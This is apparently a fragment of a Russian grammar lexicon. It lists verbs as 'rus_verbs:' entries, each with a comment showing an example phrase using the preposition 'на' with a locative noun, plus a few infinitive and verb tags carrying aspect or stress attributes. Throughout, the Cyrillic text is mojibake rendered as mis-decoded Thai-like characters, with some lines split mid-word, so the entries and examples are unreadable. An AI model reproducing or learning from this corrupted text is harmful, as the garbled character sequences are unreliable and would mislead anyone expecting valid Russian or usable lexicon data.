rus_verbs:ะพัััะฟะธัััั{}, // ะพัััะฟะธัััั ะฝะฐ ัะบะพะปัะทะบะพะผ ะปัะดั
rus_verbs:ะฟะพะดะฝะพัะธัั{}, // ะฟะพะดะฝะพัะธัั ะฝะฐ ะฑะปัะดะตัะบะต
rus_verbs:ัะฐัััะตะปะธัั{}, // ัะฐัััะตะปะธัั ะฝะฐ ะณะฐะทะพะฝะต
rus_verbs:ะพะฑััะถะดะฐัััั{}, // ะพะฑััะถะดะฐัััั ะฝะฐ ัะพะฑัะฐะฝะธะธ
rus_verbs:ัะฐัะฟะธัะฐัััั{}, // ัะฐัะฟะธัะฐัััั ะฝะฐ ะฑะปะฐะฝะบะต
rus_verbs:ะฟะปะตััะธัั{}, // ะฟะปะตััะธัั ะฝะฐ ะฟัะธะฒัะทะธ
rus_verbs:ะพะฑััะฒะธัััั{}, // ะพะฑััะฒะธัััั ะฝะฐ ััะตะฝะต
rus_verbs:ะฟะพะฒััะฐัััั{}, // ะฟะพะฒััะฐัััั ะฝะฐ ะฟะตัะฒะพะผ ะดะฐััะธะบะต
rus_verbs:ัะฐะทัะฐะฑะฐััะฒะฐัั{}, // ัะฐะทัะฐะฑะฐััะฒะฐัั ะฝะฐ ะทะฐะฒะพะดะต
rus_verbs:ะฟัะตััะฒะฐัั{}, // ะฟัะตััะฒะฐัั ะฝะฐ ัะตัะตะดะธะฝะต
rus_verbs:ะบะฐััััั{}, // ะบะฐััััั ะฝะฐ ะฟัะฑะปะธะบะต
rus_verbs:ะพัะฒะพะธัััั{}, // ะพัะฒะพะธัััั ะฝะฐ ะปะพัะฐะดะธ
rus_verbs:ะฟะพะดะฟะปััั{}, // ะฟะพะดะฟะปััั ะฝะฐ ะฟะปะพัั
rus_verbs:ะพัะบะพัะฑะธัั{}, // ะพัะบะพัะฑะธัั ะฝะฐ ะผะธัะธะฝะณะต
rus_verbs:ัะพัะถะตััะฒะพะฒะฐัั{}, // ัะพัะถะตััะฒะพะฒะฐัั ะฝะฐ ะฟัะตะดะตััะฐะปะต
rus_verbs:ะฟะพะฟัะฐะฒะปััั{}, // ะฟะพะฟัะฐะฒะปััั ะฝะฐ ะพะดะตะถะดะต
rus_verbs:ะพััะฐะถะฐัั{}, // ะพััะฐะถะฐัั ะฝะฐ ะบะฐััะธะฝะต
rus_verbs:ะดัะตะผะฐัั{}, // ะดัะตะผะฐัั ะฝะฐ ะบััะตัะบะต
rus_verbs:ะฟัะธะผะตะฝััััั{}, // ะฟัะธะผะตะฝััััั ะฝะฐ ะฟัะพะธะทะฒะพะดััะฒะต ััะฐะปะธ
rus_verbs:ะฟะพัะฐะถะฐัั{}, // ะฟะพัะฐะถะฐัั ะฝะฐ ะฑะพะปััะพะน ะดะธััะฐะฝัะธะธ
rus_verbs:ัะฐััััะตะปััั{}, // ัะฐััััะตะปััั ะฝะฐ ะพะบัะฐะธะฝะต ั
ััะพัะฐ
rus_verbs:ัะฐัััะธัะฐัั{}, // ัะฐัััะธัะฐัั ะฝะฐ ะบะฐะปัะบัะปััะพัะต
rus_verbs:ะทะฐะฟะธััะฒะฐัั{}, // ะทะฐะฟะธััะฒะฐัั ะฝะฐ ะปะตะฝัะต
rus_verbs:ะฟะตัะตะฑะธัะฐัั{}, // ะฟะตัะตะฑะธัะฐัั ะฝะฐ ะปะฐะดะพะฝะธ
rus_verbs:ัะฐะทะฑะธัััั{}, // ัะฐะทะฑะธัััั ะฝะฐ ะบะฐัะตัะต
rus_verbs:ะฟะพะธัะบะฐัั{}, // ะฟะพะธัะบะฐัั ะฝะฐ ัะตัะผะต
rus_verbs:ะฟัััะฐัั{}, // ะฟัััะฐัั ะฝะฐ ะทะฐะฑัะพัะตะฝะฝะพะผ ัะบะปะฐะดะต
rus_verbs:ะฟัะพะฟะตัั{}, // ะฟัะพะฟะตัั ะฝะฐ ััััะฐะดะต
rus_verbs:ะทะฐะผะตะปัะบะฐัั{}, // ะทะฐะผะตะปัะบะฐัั ะฝะฐ ัะบัะฐะฝะต
rus_verbs:ะณััััะธัั{}, // ะณััััะธัั ะฝะฐ ะฒะตัะฐะฝะดะต
rus_verbs:ะบัััะธัั{}, // ะบัััะธัั ะฝะฐ ะพัะธ
rus_verbs:ะฟะพะดะณะพัะพะฒะธัั{}, // ะฟะพะดะณะพัะพะฒะธัั ะฝะฐ ะบะพะฝัะฟะธัะฐัะธะฒะฝะพะน ะบะฒะฐััะธัะต
rus_verbs:ัะฐะทะปะธัะฐัั{}, // ัะฐะทะปะธัะฐัั ะฝะฐ ะบะฐััะธะฝะบะต
rus_verbs:ะบะธัะฝััั{}, // ะบะธัะฝััั ะฝะฐ ััะถะฑะธะฝะต
rus_verbs:ะพะฑะพัะฒะฐัััั{}, // ะพะฑะพัะฒะฐัััั ะฝะฐ ะฟะพะปััะปะพะฒะต
rus_verbs:ะทะฐะฟััะฐัััั{}, // ะทะฐะฟััะฐัััั ะฝะฐ ะฟัะพััะตะนัะตะผ ัะตััะต
rus_verbs:ะพะฑัะฐัััั{}, // ะพะฑัะฐัััั ะฝะฐ ััะพะบะต
rus_verbs:ะฟัะพะธะทะฒะพะดะธัััั{}, // ะฟัะพะธะทะฒะพะดะธัััั ะฝะฐ ัะฐะฑัะธะบะต
rus_verbs:ัะพัะธะฝะธัั{}, // ัะพัะธะฝะธัั ะฝะฐ ะดะพััะณะต
rus_verbs:ะดะฐะฒะธัั{}, // ะดะฐะฒะธัั ะฝะฐ ะปะธัะต
rus_verbs:ัะฐะทัะฐะฑะพัะฐัั{}, // ัะฐะทัะฐะฑะพัะฐัั ะฝะฐ ัะตะบัะตัะฝะพะผ ะฟัะตะดะฟัะธััะธะธ
rus_verbs:ะบะฐัะฐัั{}, // ะบะฐัะฐัั ะฝะฐ ะบะฐัะตะปัั
rus_verbs:ัััะธัั{}, // ัััะธัั ะฝะฐ ะบัััะต ะฟะพะถะฐั
rus_verbs:ะพั
ัะฐะฝััั{}, // ะพั
ัะฐะฝััั ะฝะฐ ัะตััะธัะพัะธะธ ะฑะฐะทั
rus_verbs:ะฟัะธะผะตัะธัั{}, // ะฟัะธะผะตัะธัั ะฝะฐ ะฒะทะณะพัะบะต
rus_verbs:ัะบัััั{}, // ัะบัััั ะฝะฐ ัะตะปะต
rus_verbs:ัะดะตัะถะธะฒะฐัั{}, // ัะดะตัะถะธะฒะฐัั ะฝะฐ ััะบะต
rus_verbs:ััะฒะพะธัั{}, // ััะฒะพะธัั ะฝะฐ ััะพะบะต
rus_verbs:ัะฐััะฐััั{}, // ัะฐััะฐััั ะฝะฐ ัะพะปะฝะตัะฝะพะน ััะพัะพะฝะต
rus_verbs:ะบัะฐัะพะฒะฐัััั{}, // ะบัะฐัะพะฒะฐัััั ะฝะฐ ะฒะธะดั
rus_verbs:ัะพั
ัะฐะฝััััั{}, // ัะพั
ัะฐะฝััััั ะฝะฐ ั
ะพะปะพะดะต
rus_verbs:ะปะตัะธัั{}, // ะปะตัะธัั ะฝะฐ ะดะพะผั
rus_verbs:ะฟัะพะบะฐัะธัััั{}, // ะฟัะพะบะฐัะธัััั ะฝะฐ ัะฝะธัะธะบะปะต
rus_verbs:ะดะพะณะพะฒะฐัะธะฒะฐัััั{}, // ะดะพะณะพะฒะฐัะธะฒะฐัััั ะฝะฐ ะฝะตะนััะฐะปัะฝะพะน ัะตััะธัะพัะธะธ
rus_verbs:ะบะฐัะฝััััั{}, // ะบะฐัะฝััััั ะฝะฐ ะพะดะฝะพะน ะฝะพะณะต
rus_verbs:ะพะฟัะฑะปะธะบะพะฒะฐัั{}, // ะพะฟัะฑะปะธะบะพะฒะฐัั ะฝะฐ ัะฐะนัะต
rus_verbs:ะพััะฐะถะฐัััั{}, // ะพััะฐะถะฐัััั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััะธ ะฒะพะดั
rus_verbs:ะพะฑะตะดะฐัั{}, // ะพะฑะตะดะฐัั ะฝะฐ ะฒะตัะฐะฝะดะต
rus_verbs:ะฟะพัะธะดะตัั{}, // ะฟะพัะธะดะตัั ะฝะฐ ะปะฐะฒะพัะบะต
rus_verbs:ัะพะพะฑัะฐัััั{}, // ัะพะพะฑัะฐัััั ะฝะฐ ะพัะธัะธะฐะปัะฝะพะผ ัะฐะนัะต
rus_verbs:ัะฒะตััะธัััั{}, // ัะฒะตััะธัััั ะฝะฐ ะทะฐัะตะดะฐะฝะธะธ
rus_verbs:ะฝะพัะตะฒะฐัั{}, // ะฝะพัะตะฒะฐัั ะฝะฐ ะดะฐัะต
rus_verbs:ัะตะผะฝะตัั{}, // ัะตะผะฝะตัั ะฝะฐ ัะฒะตัั
rus_verbs:ะณะธะฑะฝััั{}, // ะณะธะฑะฝััั ะฝะฐ ัะตััะธัะพัะธะธ ะฟะพะปะธะณะพะฝะฐ
rus_verbs:ััะธะปะธะฒะฐัััั{}, // ััะธะปะธะฒะฐัััั ะฝะฐ ัะตััะธัะพัะธะธ ะพะบััะณะฐ
rus_verbs:ะฟัะพะถะธะฒะฐัั{}, // ะฟัะพะถะธะฒะฐัั ะฝะฐ ะดะฐัะต
rus_verbs:ะธััะปะตะดะพะฒะฐัั{}, // ะธััะปะตะดะพะฒะฐัั ะฝะฐ ะฑะพะปััะพะน ะณะปัะฑะธะฝะต
rus_verbs:ะพะฑะธัะฐัั{}, // ะพะฑะธัะฐัั ะฝะฐ ะณัะพะผะฐะดะฝะพะน ะณะปัะฑะธะฝะต
rus_verbs:ััะฐะปะบะธะฒะฐัััั{}, // ััะฐะปะบะธะฒะฐัััั ะฝะฐ ะฑะพะปััะพะน ะฒััะพัะต
rus_verbs:ัะฐะธัััั{}, // ัะฐะธัััั ะฝะฐ ะฑะพะปััะพะน ะณะปัะฑะธะฝะต
rus_verbs:ัะฟะฐัะฐัั{}, // ัะฟะฐัะฐัั ะฝะฐ ะฟะพะถะฐัะต
rus_verbs:ัะบะฐะทัะฒะฐัััั{}, // ัะบะฐะทัะฒะฐัััั ะฝะฐ ะพะฑัะตะผ ัะตะทัะปััะฐัะต
rus_verbs:ะทะฐะฑะปัะดะธัััั{}, // ะทะฐะฑะปัะดะธัััั ะฝะฐ ัััะพะนะบะต
rus_verbs:ะฟะพัะฐัะธัั{}, // ะฟะพัะฐัะธัั ะฝะฐ ะฟะพะปะบะฐั
rus_verbs:ะฟะปะฐะฝะธัะพะฒะฐัั{}, // ะฟะปะฐะฝะธัะพะฒะฐัั ะฝะฐ ะฑัะผะฐะณะต
rus_verbs:ัะฐะฝะธัั{}, // ัะฐะฝะธัั ะฝะฐ ะฟะพะปะธะณะพะฝะต
rus_verbs:ั
ะปะพะฟะฐัั{}, // ั
ะปะพะฟะฐัั ะฝะฐ ััะตะฝะต
rus_verbs:ะพัะฝะพะฒะฐัั{}, // ะพัะฝะพะฒะฐัั ะฝะฐ ะณะพัะต ะฝะพะฒัะน ะผะพะฝะฐััััั
rus_verbs:ะพัะฑะธัั{}, // ะพัะฑะธัั ะฝะฐ ััะพะปะต
rus_verbs:ะพััะธัะฐัั{}, // ะพััะธัะฐัั ะฝะฐ ะทะฐัะตะดะฐะฝะธะธ ะบะพะผะธััะธะธ
rus_verbs:ัััะพััั{}, // ัััะพััั ะฝะฐ ะฝะพะณะฐั
rus_verbs:ะพัะทัะฒะฐัััั{}, // ะพัะทัะฒะฐัััั ะฝะฐ ัััะฐะฝะธัะฐั
ะพััััะฐ
rus_verbs:ะฟัะธัะพัะผะพะทะธัั{}, // ะฟัะธัะพัะผะพะทะธัั ะฝะฐ ะพะฑะพัะธะฝะต
rus_verbs:ัะธัะฐัััั{}, // ัะธัะฐัััั ะฝะฐ ะปะธัะต
rus_verbs:ะทะฐะธะณัะฐัั{}, // ะทะฐะธะณัะฐัั ะฝะฐ ัะฐะบัะพัะพะฝะต
rus_verbs:ะทะฐะฒะธัะฝััั{}, // ะทะฐะฒะธัะฝััั ะฝะฐ ะธะณัะพะฒะพะน ะฟะปะพัะฐะดะบะต
rus_verbs:ัะพะทะฝะฐัััั{}, // ัะพะทะฝะฐัััั ะฝะฐ ะดะพะฟัะพัะต
rus_verbs:ะฒัััะฝััััั{}, // ะฒัััะฝััััั ะฝะฐ ะพัะฝะพะน ััะฐะฒะบะต
rus_verbs:ะฝะฐะฒะพะดะธัั{}, // ะฝะฐะฒะพะดะธัั ะฝะฐ ััะพะปะต ะฟะพััะดะพะบ
rus_verbs:ะฟะพะบะพะธัััั{}, // ะฟะพะบะพะธัััั ะฝะฐ ะบะปะฐะดะฑะธัะต
rus_verbs:ะทะฝะฐัะธัััั{}, // ะทะฝะฐัะธัััั ะฝะฐ ะฑะตะนะดะถะธะบะต
rus_verbs:ััะตั
ะฐัั{}, // ััะตั
ะฐัั ะฝะฐ ัะฐะฝะบะฐั
rus_verbs:ะฟะพะทะฝะฐะบะพะผะธัั{}, // ะฟะพะทะฝะฐะบะพะผะธัั ะฝะฐ ัะฒะฐะดัะฑะต
rus_verbs:ะทะฐะฒัะทะฐัั{}, // ะทะฐะฒัะทะฐัั ะฝะฐ ัะฟะธะฝะต
rus_verbs:ะณัะพั
ะฝััั{}, // ะณัะพั
ะฝััั ะฝะฐ ะฟะปะพัะฐะดะธ
rus_verbs:ัะฐะทัะตั
ะฐัััั{}, // ัะฐะทัะตั
ะฐัััั ะฝะฐ ัะทะบะพะน ะดะพัะพะณะต
rus_verbs:ััะพะปะฟะธัััั{}, // ััะพะปะฟะธัััั ะฝะฐ ะบััะปััะต
rus_verbs:ะฟะพัััััั{}, // ะฟะพัััััั ะฝะฐ ะฟะพะปะบะฐั
rus_verbs:ะพัะปะฐะฑะธัั{}, // ะพัะปะฐะฑะธัั ะฝะฐ ัะตะต
rus_verbs:ะพะฟัะฐะฒะดัะฒะฐัั{}, // ะพะฟัะฐะฒะดัะฒะฐัั ะฝะฐ ััะดะต
rus_verbs:ะพะฑะฝะฐััะถะธะฒะฐัััั{}, // ะพะฑะฝะฐััะถะธะฒะฐัััั ะฝะฐ ัะบะปะฐะดะต
rus_verbs:ัะฟะฐััะธัั{}, // ัะฟะฐััะธัั ะฝะฐ ะดะตัะตะฒะต
rus_verbs:ะฟัะตัะฒะฐัััั{}, // ะฟัะตัะฒะฐัััั ะฝะฐ ะฟะพะปััะปะพะฒะต
rus_verbs:ัััะพะธัััั{}, // ัััะพะธัััั ะฝะฐ ะฟัััััะต
rus_verbs:ะฟะพะทะฝะฐัั{}, // ะฟะพะทะฝะฐัั ะฝะฐ ะฟัะฐะบัะธะบะต
rus_verbs:ะฟััะตัะตััะฒะพะฒะฐัั{}, // ะฟััะตัะตััะฒะพะฒะฐัั ะฝะฐ ะฟะพะตะทะดะต
rus_verbs:ะฟะพะฑะตะถะดะฐัั{}, // ะฟะพะฑะตะถะดะฐัั ะฝะฐ ัะธะฝะณะต
rus_verbs:ัะฐััะผะฐััะธะฒะฐัััั{}, // ัะฐััะผะฐััะธะฒะฐัััั ะฝะฐ ะทะฐัะตะดะฐะฝะธะธ
rus_verbs:ะฟัะพะดะฐะฒะฐัััั{}, // ะฟัะพะดะฐะฒะฐัััั ะฝะฐ ะพัะบัััะพะผ ััะฝะบะต
rus_verbs:ัะฐะทะผะตััะธัััั{}, // ัะฐะทะผะตััะธัััั ะฝะฐ ะฑะฐะทะต
rus_verbs:ะทะฐะฒััั{}, // ะทะฐะฒััั ะฝะฐ ั
ะพะปะผะต
rus_verbs:ะฝะฐััะธะณะฝััั{}, // ะฝะฐััะธะณะฝััั ะฝะฐ ะพะบัะฐะธะฝะต
rus_verbs:ัะบัััััั{}, // ัะบัััััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ัะฐัะฟะปะฐะบะฐัััั{}, // ัะฐัะฟะปะฐะบะฐัััั ะฝะฐ ะทะฐัะตะดะฐะฝะธะธ ะบะพะผะธััะธะธ
rus_verbs:ะทะฐะบะฐะฝัะธะฒะฐัั{}, // ะทะฐะบะฐะฝัะธะฒะฐัั ะฝะฐ ะฟะพัะปะตะดะฝะตะผ ะทะฐะดะฐะฝะธะธ
rus_verbs:ะฟัะพะปะตะถะฐัั{}, // ะฟัะพะปะตะถะฐัั ะฝะฐ ััะพะปะต
rus_verbs:ะณัะพะผะพะทะดะธัััั{}, // ะณัะพะผะพะทะดะธัััั ะฝะฐ ะฟะพะปั
rus_verbs:ะทะฐะผะตัะทะฝััั{}, // ะทะฐะผะตัะทะฝััั ะฝะฐ ะพัะบัััะพะผ ะฒะพะทะดัั
ะต
rus_verbs:ะฟะพัะบะพะปัะทะฝััััั{}, // ะฟะพัะบะพะปัะทะฝััััั ะฝะฐ ะปัะดั
rus_verbs:ัะฐัะบะฐัั{}, // ัะฐัะบะฐัั ะฝะฐ ัะฟะธะฝะต
rus_verbs:ะฟัะพัะผะฐััะธะฒะฐัั{}, // ะฟัะพัะผะฐััะธะฒะฐัั ะฝะฐ ัะฐะนัะต
rus_verbs:ะพะฑะดัะผะฐัั{}, // ะพะฑะดัะผะฐัั ะฝะฐ ะดะพััะณะต
rus_verbs:ะณะฐะดะฐัั{}, // ะณะฐะดะฐัั ะฝะฐ ะบะพัะตะนะฝะพะน ะณััะต
rus_verbs:ะพััะฐะฝะฐะฒะปะธะฒะฐัั{}, // ะพััะฐะฝะฐะฒะปะธะฒะฐัั ะฝะฐ ะฒัั
ะพะดะต
rus_verbs:ะพะฑะพะทะฝะฐัะฐัั{}, // ะพะฑะพะทะฝะฐัะฐัั ะฝะฐ ัััะฐะฝะธัะต
rus_verbs:ะดะพะปะตัะตัั{}, // ะดะพะปะตัะตัั ะฝะฐ ัะฟะพััะธะฒะฝะพะผ ะฑะฐะนะบะต
rus_verbs:ัะตัะฝะธัััั{}, // ัะตัะฝะธัััั ะฝะฐ ัะตัะดะฐัะบะต
rus_verbs:ั
ะพัะพะฝะธัั{}, // ั
ะพัะพะฝะธัั ะฝะฐ ัะฐััะฝะพะผ ะบะปะฐะดะฑะธัะต
rus_verbs:ัััะฐะฝะพะฒะธัััั{}, // ัััะฐะฝะพะฒะธัััั ะฝะฐ ัะณะต
rus_verbs:ะฟัะธะบะธะดัะฒะฐัั{}, // ะฟัะธะบะธะดัะฒะฐัั ะฝะฐ ะบะปะพัะบะต ะฑัะผะฐะณะธ
rus_verbs:ะทะฐัะฐะธัััั{}, // ะทะฐัะฐะธัััั ะฝะฐ ะดะตัะตะฒะต
rus_verbs:ัะฐะทะดะพะฑััั{}, // ัะฐะทะดะพะฑััั ะฝะฐ ัะบะปะฐะดะต
rus_verbs:ะฟะตัะตะฑัะพัะธัั{}, // ะฟะตัะตะฑัะพัะธัั ะฝะฐ ะฒะตััะพะปะตัะฐั
rus_verbs:ะทะฐั
ะฒะฐััะฒะฐัั{}, // ะทะฐั
ะฒะฐััะฒะฐัั ะฝะฐ ะฑะฐะทะต
rus_verbs:ัะบะฐะทะฐัััั{}, // ัะบะฐะทะฐัััั ะฝะฐ ะธัะพะณะพะฒัั
ะพัะตะฝะบะฐั
rus_verbs:ะฟะพะบะฐัะธะฒะฐัััั{}, // ะฟะพะบะฐัะธะฒะฐัััั ะฝะฐ ะฒะพะปะฝะฐั
rus_verbs:ะบัััะธัััั{}, // ะบัััะธัััั ะฝะฐ ะบัั
ะฝะต
rus_verbs:ะฟะพะผะตัะฐัััั{}, // ะฟะพะผะตัะฐัััั ะฝะฐ ะฟะพะปะบะต
rus_verbs:ะฟะธัะฐัััั{}, // ะฟะธัะฐัััั ะฝะฐ ะฟะพะผะพะนะบะต
rus_verbs:ะพัะดะพั
ะฝััั{}, // ะพัะดะพั
ะฝััั ะฝะฐ ะทะฐะณะพัะพะดะฝะพะน ะฒะธะปะปะต
rus_verbs:ะบะฐัะฐัััั{}, // ะบะฐัะฐัััั ะฝะฐ ะฒะตะปะธะบะต
rus_verbs:ะฟะพัะฐะฑะพัะฐัั{}, // ะฟะพัะฐะฑะพัะฐัั ะฝะฐ ัััะพะนะบะต
rus_verbs:ะพะณัะฐะฑะธัั{}, // ะพะณัะฐะฑะธัั ะฝะฐ ะฟัััััะต
rus_verbs:ะทะฐัะฐะฑะฐััะฒะฐัั{}, // ะทะฐัะฐะฑะฐััะฒะฐัั ะฝะฐ ะฑะธัะถะต
rus_verbs:ะฟัะตััะฟะตัั{}, // ะฟัะตััะฟะตัั ะฝะฐ ะฝะธะฒะต ะธัะบััััะฒะฐ
rus_verbs:ะทะฐะตัะทะฐัั{}, // ะทะฐะตัะทะฐัั ะฝะฐ ัััะปะต
rus_verbs:ัะฐะทัััะฝะธัั{}, // ัะฐะทัััะฝะธัั ะฝะฐ ะฟะพะปัั
rus_verbs:ะพััะตะบะฐะฝะธัั{}, // ะพััะตะบะฐะฝะธัั ะฝะฐ ะผะตะดะฝะพะน ะฟะปะฐััะธะฝะต
rus_verbs:ัะพัะณะพะฒะฐัั{}, // ัะพัะณะพะฒะฐัั ะฝะฐ ััะฝะบะต
rus_verbs:ะฟะพะบะพะปะตะฑะฐัััั{}, // ะฟะพะบะพะปะตะฑะฐัััั ะฝะฐ ะฟะพัะพะณะต
rus_verbs:ะฟัะธะบะธะฝััั{}, // ะฟัะธะบะธะฝััั ะฝะฐ ะฑัะผะฐะถะบะต
rus_verbs:ัะฐััะตัั{}, // ัะฐััะตัั ะฝะฐ ััะฟะพะผ ะบะพะฝัะต
rus_verbs:ะฟะพัะผะตััััั{}, // ะฟะพัะผะตััััั ะฝะฐ ะฟะตัะตะผะตะฝะบะต
rus_verbs:ะพััััั{}, // ะพััััั ะฝะฐ ะผะพัะพะทะฝะพะผ ะฒะพะทะดัั
ะต
rus_verbs:ะทะฐะฟะตัะตัััั{}, // ะทะฐะฟะตัะตัััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะพะฑะพะณะฝะฐัั{}, // ะพะฑะพะณะฝะฐัั ะฝะฐ ะฟะพะฒะพัะพัะต
rus_verbs:ะฟะพะดััะฝััััั{}, // ะฟะพะดััะฝััััั ะฝะฐ ัััะฝะธะบะต
rus_verbs:ะฟัะธะฒะพะทะธัั{}, // ะฟัะธะฒะพะทะธัั ะฝะฐ ะผะฐัะธะฝะต
rus_verbs:ะฟะพะดะฑะธัะฐัั{}, // ะฟะพะดะฑะธัะฐัั ะฝะฐ ะฟะพะปั
rus_verbs:ัะฝะธััะพะถะฐัั{}, // ัะฝะธััะพะถะฐัั ะฝะฐ ะฟะพะดั
ะพะดะต
rus_verbs:ะฟัะธัะฐะธัััั{}, // ะฟัะธัะฐะธัััั ะฝะฐ ะฒะตััะธะฝะต
rus_verbs:ะฟะปััะฐัั{}, // ะฟะปััะฐัั ะฝะฐ ะบะพัััั
rus_verbs:ะฟะพะดะถะธะดะฐัั{}, // ะฟะพะดะถะธะดะฐัั ะฝะฐ ะฒะพะบะทะฐะปะต
rus_verbs:ะทะฐะบะพะฝัะธัั{}, // ะั ะทะฐะบะพะฝัะธะปะธ ะธะณัั ะฝะฐ ัะฐะผะพะผ ะธะฝัะตัะตัะฝะพะผ ะผะตััะต (ะกะะ ะฝะต ะผะพะถะตั ะฑััั ะฟะตัะฒัะผ ะฟัะธะปะฐะณะฐัะตะปัะฝัะผ ะฒ ัะตะฟะพัะบะต!)
rus_verbs:ัะผะตะฝะธัััั{}, // ัะผะตะฝะธัััั ะฝะฐ ะฟะพััั
rus_verbs:ะฟะพััะธัะฐัั{}, // ะฟะพััะธัะฐัั ะฝะฐ ะฟะฐะปััะฐั
rus_verbs:ะฟัะธัะตะปะธัััั{}, // ะฟัะธัะตะปะธัััั ะฝะฐ ะฑะตะณั
rus_verbs:ะฝะฐัะธัะพะฒะฐัั{}, // ะฝะฐัะธัะพะฒะฐัั ะฝะฐ ััะตะฝะต
rus_verbs:ะฟััะณะฐัั{}, // ะฟััะณะฐัั ะฝะฐ ััะตะฝะต
rus_verbs:ะฟะพะฒะตััะตัั{}, // ะฟะพะฒะตััะตัั ะฝะฐ ะฟะฐะปััะต
rus_verbs:ะฟะพะฟัะพัะฐัััั{}, // ะฟะพะฟัะพัะฐัััั ะฝะฐ ะฟะฐะฝะธั
ะธะดะต
ะธะฝัะธะฝะธัะธะฒ:ะฟัะพััะฟะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟัะพััะฟะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, // ะฟัะพััะฟะฐัััั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ัะฐะทะพะฑัะฐัั{}, // ัะฐะทะพะฑัะฐัั ะฝะฐ ััะพะปะต
rus_verbs:ะฟะพะผะตัะตัั{}, // ะฟะพะผะตัะตัั ะฝะฐ ััะถะฑะธะฝะต
rus_verbs:ัะฐะทะปะธัะธัั{}, // ัะฐะทะปะธัะธัั ะฝะฐ ะฝะตัะตัะบะพะน ัะพัะพะณัะฐัะธะธ
rus_verbs:ัะธัะพะฒะฐัั{}, // ัะธัะพะฒะฐัั ะฝะฐ ะดะพัะบะต
rus_verbs:ะฟัะพัะปะตะดะธัั{}, // ะฟัะพัะปะตะดะธัั ะฝะฐ ัะบัะฐะฝะต
rus_verbs:ะทะฐะดัะตะผะฐัั{}, // ะทะฐะดัะตะผะฐัั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ััะณะฐัััั{}, // ััะณะฐัััั ะฝะฐ ะปัะดัั
rus_verbs:ัะณะพัะตัั{}, // ัะณะพัะตัั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ะทะฐะทะฒััะฐัั{}, // ะทะฐะทะฒััะฐัั ะฝะฐ ะบะพัะพัะบะธั
ะฒะพะปะฝะฐั
rus_verbs:ะทะฐะดะพั
ะฝััััั{}, // ะทะฐะดะพั
ะฝััััั ะฝะฐ ะฒะตััะธะฝะต ะณะพัั
rus_verbs:ะฟะพัะพะถะดะฐัั{}, // ะฟะพัะพะถะดะฐัั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััะธ ะฝะตะฑะพะปัััั ััะฑั
rus_verbs:ะพัะดัั
ะฐัั{}, // ะพัะดัั
ะฐัั ะฝะฐ ะบััะพััะต
rus_verbs:ะพะฑัะฐะทะพะฒะฐัั{}, // ะพะฑัะฐะทะพะฒะฐัั ะฝะฐ ะดะฝะต ัะพะปัััะน ัะปะพะน
rus_verbs:ะฟะพะฟัะฐะฒะธัััั{}, // ะฟะพะฟัะฐะฒะธัััั ะฝะฐ ะดะฐัะผะพะฒัั
ั
ะฐััะฐั
rus_verbs:ะพัะผะตัะฐัั{}, // ะพัะผะตัะฐัั ะฝะฐ ะบะฐะปะตะฝะดะฐัะต
rus_verbs:ัะตััั{}, // ัะตััั ะฝะฐ ัะปะฐะณััะพะบะต
rus_verbs:ะฟะพะปะทัะธ{}, // ะฟะพะปะทัะธ ะฝะฐ ะบะพะปะตะฝัั
rus_verbs:ะฟัะพะดะฐะฒะฐัั{}, // ะฟัะพะดะฐะฒะฐัั ะฝะฐ ะฐัะบัะธะพะฝะต
rus_verbs:ัะพััะตะดะพัะพัะธัััั{}, // ัะพััะตะดะพัะพัะธัััั ะฝะฐ ะพัะฝะพะฒะฝะพะน ะทะฐะดะฐัะต
rus_verbs:ัััะบะฐัั{}, // ะผััะบะธ ัััะบะฐะปะธ ะฝะฐ ะบัั
ะฝะต
rus_verbs:ัะฐัััะตะณะฝััั{}, // ัะฐัััะตะณะฝััั ะฝะฐ ะบัััะบะต ะฒัะต ะฟัะณะพะฒะธัั
rus_verbs:ะฝะฐะฟะฐััั{}, // ะฝะฐะฟะฐััั ะฝะฐ ัะตััะธัะพัะธะธ ะดััะณะพะณะพ ะณะพััะดะฐัััะฒะฐ
rus_verbs:ะธะทะดะฐัั{}, // ะธะทะดะฐัั ะฝะฐ ะทะฐะฟะฐะดะต
rus_verbs:ะพััะฐะฒะฐัััั{}, // ะพััะฐะฒะฐัััั ะฝะฐ ัััะฐะถะต ะฟะพััะดะบะฐ
rus_verbs:ะฟะพัะฒะธัััั{}, // ะฝะฐะบะพะฝะตั ะฟะพัะฒะธัััั ะฝะฐ ัะบัะฐะฝะต
rus_verbs:ะปะตะถะฐัั{}, // ะปะตะถะฐัั ะฝะฐ ััะพะปะต
rus_verbs:ะถะดะฐัั{}, // ะถะดะฐัั ะฝะฐ ะฑะตัะตะณั
ะธะฝัะธะฝะธัะธะฒ:ะฟะธัะฐัั{aux stress="ะฟะธั^ะฐัั"}, // ะฟะธัะฐัั ะฝะฐ ะฑัะผะฐะณะต
ะณะปะฐะณะพะป:ะฟะธัะฐัั{aux stress="ะฟะธั^ะฐัั"},
rus_verbs:ะพะบะฐะทัะฒะฐัััั{}, // ะพะบะฐะทัะฒะฐัััั ะฝะฐ ะฟะพะปั
rus_verbs:ะฟะพััะฐะฒะธัั{}, // ะฟะพััะฐะฒะธัั ะฝะฐ ััะพะปะต
rus_verbs:ะดะตัะถะฐัั{}, // ะดะตัะถะฐัั ะฝะฐ ะบัััะบะต
rus_verbs:ะฒัั
ะพะดะธัั{}, // ะฒัั
ะพะดะธัั ะฝะฐ ะพััะฐะฝะพะฒะบะต
rus_verbs:ะทะฐะณะพะฒะพัะธัั{}, // ะทะฐะณะพะฒะพัะธัั ะฝะฐ ะบะธัะฐะนัะบะพะผ ัะทัะบะต
rus_verbs:ะพะถะธะดะฐัั{}, // ะพะถะธะดะฐัั ะฝะฐ ััะพัะฝะบะต
rus_verbs:ะทะฐะบัะธัะฐัั{}, // ะทะฐะบัะธัะฐะป ะฝะฐ ะผะธะฝะฐัะตัะต ะผััะดะทะธะฝ
rus_verbs:ะฟัะพััะพััั{}, // ะฟัะพััะพััั ะฝะฐ ะฟะพััั
rus_verbs:ะฟัะพะดะพะปะถะธัั{}, // ะฟัะพะดะพะปะถะธัั ะฝะฐ ะฟะตัะฒะพะผ ััะฐะถะต
